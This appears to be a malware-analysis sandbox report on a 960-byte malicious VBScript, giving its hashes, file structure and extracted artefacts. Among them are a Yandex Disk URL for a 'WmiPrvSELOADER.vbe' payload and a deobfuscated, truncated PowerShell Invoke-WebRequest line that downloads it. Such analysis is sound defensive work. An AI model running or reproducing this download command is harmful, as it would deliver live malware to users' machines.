Malicious
Malicious

55625b9139814976330488cfdd25fd1d

VBScript
|
MD5: 55625b9139814976330488cfdd25fd1d
|
Size: 960 B
|
text/vbscript

Print
General
Structural Analysis
Config.0
Yara Rules3
Sync
Community
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
55625b9139814976330488cfdd25fd1d
Sha1
8320ef7ffaf7730b3d4c102b30520a3fc3eb4a49
Sha256
392968e4c8055b403c8f04ceae0adc2d5736abd56dd1a8dc89c262c952a13b53
Sha384
86a64cb5fdf020ea19d285c82813170efe72cf056db80d27f0e9b9063dc87a5b9eb57c6bda0d6de68b07955eb1d93faf
Sha512
46a0326811be82763a05f12ad745c6b0b833a1e399aca7ed6b2719a9b7736f3a1fd25d9517eece6e7b274d4d17bb5be1bd013075e62a8b2f9d0ccbb5417daaec
SSDeep
24:Kqa0cUVWUPoLUM0Kn3l/FvwA8jkxWeCZUlDwqhAIaZ515jkWke3Qj:AUk3LNn1pd8jk8Z51i/j
TLSH
731184157BAF906D0F8DF28AC0316C6C84B6B7A3383582AFFC18D89C924955C9A32D53
File Structure
55625b9139814976330488cfdd25fd1d
Malicious
55625b9139814976330488cfdd25fd1d.deobfuscated.vbs
Malicious
[Command #0]
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
Artefacts
Name
 Value
URLs in VB Code - #1

https://downloader.disk.yandex.ru/disk/1e88350053761930126aa452e075deba1f8bfe37f74e81c714558fc98384486d/68bf2382/Mgem8fqtk-8PhHqitsGbnkY0oHDU8xAUDUoR8JGvD889okYAbTGbf0ej_QayYwEk-52mI-7N8E9-NQx15y25Wg%3D%3D?uid=0&filename=WmiPrvSELOADER.vbe&disposition=attachment&hash=245Mf/M1AIDn6PvdsOyp9QSQ10aOBGJjMW6JRaWklTToYkmn6jR6eflQg8c9MM4zq/J6bpmRyOJonT3VoXnDag%3D%3D%3A&limit=0&content_type=application%2Foctet-stream&owner_uid=2048282403&fsize=2007&hid=d73d239560b8749ff7be07e2b3b80aa6&media_type=executable&tknv=v3
Deobfuscated PowerShell

"Invoke-WebRequest -Uri 'https://downloader.disk.yandex.ru/disk/1e88350053761930126aa452e075deba1f8bfe37f74e81c714558fc98384486d/68bf2382/Mgem8fqtk-8PhHqitsGbnkY0oHDU8xAUDUoR8JGvD889okYAbTGbf0ej_QayYwEk-52mI-7N8E9-NQx15y25Wg%3D%3D?uid=0&filename=WmiPrvSELOADER.vbe&disposition=attachment&hash=245Mf/M1AIDn6PvdsOyp9QSQ10aOBGJjMW6JRaWklTToYkmn6jR6eflQg8c9MM4zq/J6bpmRyOJonT3VoXnDag%3D%3D%3A&limit=0&content_type=application%2Foctet-stream&owner_uid=2048282403&fsize=2007&hid=d73d239560b8749ff7be07e2b3b80aa6&media_type=executable&tknv=v3' -OutFile '"
55625b9139814976330488cfdd25fd1d (960 B)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙